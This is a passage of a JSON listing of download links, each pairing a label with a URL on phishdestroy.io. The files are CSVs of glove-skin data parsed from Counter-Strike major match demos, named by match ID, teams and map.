            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.gloves.csv"
          },
          {
            "label": "86048_imperial-vs-vitality-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.gloves.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m3-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.gloves.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m3-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.gloves.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m3-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.gloves.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m1-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.gloves.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m3-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.gloves.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "92883_natus-vincere-vs-liquid-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.gloves.csv"
          },
          {
            "label": "92886_spirit-vs-furia-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.gloves.csv"
          },
          {
            "label": "92887_mouz-vs-pain-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.gloves.csv"
          },
          {
            "label": "92894_liquid-vs-gamerlegion-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.gloves.csv"
          },
          {
            "label": "92895_vitality-vs-furia-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.gloves.csv"
          },
          {
            "label": "92896_mouz-vs-the-mongolz-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.gloves.csv"
          },
          {
            "label": "92897_spirit-vs-wildcard-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.gloves.csv"
          },
          {
            "label": "92918_g2-vs-3dmax-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.gloves.csv"
          },
          {
            "label": "92943_big-vs-faze-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "92943_big-vs-faze-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "92953_furia-vs-pain-m1-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.gloves.csv"
          },
          {
            "label": "92953_furia-vs-pain-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "92953_furia-vs-pain-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m3-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.gloves.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m3-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.gloves.csv"
          },
          {
            "label": "92984_faze-vs-furia-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "92984_faze-vs-furia-m2-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.gloves.csv"
          },
          {
            "label": "92984_faze-vs-furia-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m1-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.gloves.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m2-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.gloves.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "93076_g2-vs-faze-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "93076_g2-vs-faze-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m3-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.gloves.csv"
          },
          {
            "label": "97739_mouz-vs-virtuspro-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.gloves.csv"
          },
          {
            "label": "97740_spirit-vs-pain-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.gloves.csv"
          },
          {
            "label": "97741_g2-vs-3dmax-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.gloves.csv"
          },
          {
            "label": "97743_aurora-vs-faze-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.gloves.csv"
          },
          {
            "label": "97745_the-mongolz-vs-furia-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.gloves.csv"
          },
          {
            "label": "97748_liquid-vs-lynn-vision-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.gloves.csv"
          },
          {
            "label": "97750_aurora-vs-furia-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.gloves.csv"
          },
          {
            "label": "97751_virtus-pro-vs-legacy-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.gloves.csv"
          },
          {
            "label": "97752_3dmax-vs-natus-vincere-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.gloves.csv"
          },
          {
            "label": "97754_mouz-vs-faze-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.gloves.csv"
          },
          {
            "label": "97755_vitality-vs-nemiga-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.gloves.csv"
          },
          {
            "label": "97757_g2-vs-pain-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.gloves.csv"
          },
          {
            "label": "97769_3dmax-vs-vitality-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.gloves.csv"
          },
          {
            "label": "97770_legacy-vs-faze-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.gloves.csv"
          },
          {
            "label": "97772_aurora-vs-g2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.gloves.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m1-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.gloves.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m2-train.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.gloves.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m3-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.gloves.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m1-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.gloves.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m3-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.gloves.csv"
          },
          {
            "label": "97820_3dmax-vs-pain-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "97820_3dmax-vs-pain-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m1-train.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.gloves.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m1-train.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.gloves.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m2-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.gloves.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m2-anubis.dem.gloves.csv ↓",
